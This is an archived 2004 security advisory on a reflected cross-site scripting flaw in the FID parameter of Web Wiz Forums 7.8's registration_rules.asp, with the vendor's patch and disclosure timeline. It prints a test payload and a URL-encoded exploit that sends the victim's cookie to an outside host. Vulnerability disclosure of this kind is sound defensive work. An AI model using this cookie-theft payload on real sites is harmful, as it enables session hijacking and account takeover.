Web Wiz Forums Registration Rules XSS Vulnerability

2004-06-16T00:00:00
ID SECURITYVULNS:DOC:6352
Type securityvulns
Reporter Securityvulns
Modified 2004-06-16T00:00:00

Description


WEB WIZ FORUMS REGISTRATION RULES XSS VULNERABILITY

Online URL : http://ferruh.mavituna.com/article/?528

XSS / Cross Site Scripting attack allows an attacker to hijack other users/administrators account.


ABOUT WEB WIZ FORUMS;

Web Wiz Forums, the free award winning ASP bulletin board system software, can add value to almost any web site.

Whether you are building a small interactive community with 10 people or over 100,000 strong customer support forum, this fast, scalable, bulletin board engine can manage your community

URL & Demo & Source Code Download ; http://www.webwizguide.info/web_wiz_forums/


VULNERABLE;

Web Wiz Forums Version 7.8 [possibly lower versions]


NOT VULNERABLE;

Web Wiz Forums Version 7.9


PROBLEM;

  • Page registration_rules.asp (Parameter : FID)

  • Test; registration_rules.asp?FID=%22%3E%3Cscript%3Ealert%28%27Vulnerable%2520%21%2 7%29%3C%2Fscript%3E

  • Possible Exploit Pattern;

  • This sample sends cookie to victim URL [in sample http://ferruh.mavituna.com/xss/] registration_rules.asp?FID=%22%3E%3Cimg+width%3D0+height%3D0+src%3D%22javasc ript%3Adocument%2Eimages%5B0%5D%2Esrc%3D%27http%3A%2F%2Fferruh%2Emavituna%2E com%2Fxss%2F%3F%27%2Bdocument%2Ecookie%22%3E

HOW TO PATCH [provided by vendor];

Download http://www.zap2.me.uk/7.7a_and_7.8_to_7.9_patch_files.zip Version 7.9 has been released to deal with this issue. Change line 65 of the file registration_rules.asp that reads:-

intForumID = Request.QueryString("FID")

To the following:-

If isNumeric(Request.QueryString("FID")) Then intForumID = CInt(Request.QueryString("FID")) Else intForumID = 0 End If


HISTORY;

Discovered : 14.06.2004 Vendor Informed : 15.06.2004 Published : 15.06.2004


Vendor Status;

Quickly answered & fixed.

Ferruh Mavituna Web Application Security Specialist http://ferruh.mavituna.com

PGPKey : http://ferruh.mavituna.com/PGPKey.asc